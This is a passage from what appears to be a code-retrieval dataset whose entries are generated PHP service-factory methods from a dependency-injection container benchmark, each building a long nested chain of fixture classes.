\\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "df7e74d6bd17efdf96c1f7bc05172f78", "score": "0.6248792", "text": "protected function getClass87Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "d553ee3e6839734ab90dd78432c266da", "score": "0.624072", "text": "protected function getClass85Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "442d923e5f58f33c0931527925b14ac4", "score": "0.6230381", "text": "protected function getClass27Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "c90c6845c60da628e483d32037f9e59c", "score": "0.6229477", "text": "protected function getClass24Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))));\n }", "title": "" }, { "docid": "eeb95bd6cf7bb5e23eca8b2805512279", "score": "0.62216645", "text": "protected function getClass19Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))));\n }", "title": "" }, { "docid": "c233b520eb646b31ebe5af617d742576", "score": "0.6220441", "text": "protected function getClass88Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "739a3451e3f472c6756ffe19b529fc7a", "score": "0.62168014", "text": "protected function getClass15Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))));\n }", "title": "" }, { "docid": "b0bab19c7d5d537fc4cce432685a2ab1", "score": "0.6118086", "text": "protected function getClass62Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "2216f4cee45733f7cc9ff53b58c157ef", "score": "0.61001503", "text": "protected function getClass25Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))));\n }", "title": "" }, { "docid": "938eb421857492b96e0f00cea8986f70", "score": "0.6089057", "text": "protected function getClass5Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))));\n }", "title": "" }, { "docid": "369eeb9805be267e1c595f3a5f12e36c", "score": "0.6070583", "text": "protected function getClass100Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class100(new \\DiContainerBenchmarks\\Fixture\\Class99(new \\DiContainerBenchmarks\\Fixture\\Class98(new \\DiContainerBenchmarks\\Fixture\\Class97(new \\DiContainerBenchmarks\\Fixture\\Class96(new \\DiContainerBenchmarks\\Fixture\\Class95(new \\DiContainerBenchmarks\\Fixture\\Class94(new \\DiContainerBenchmarks\\Fixture\\Class93(new \\DiContainerBenchmarks\\Fixture\\Class92(new \\DiContainerBenchmarks\\Fixture\\Class91(new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new 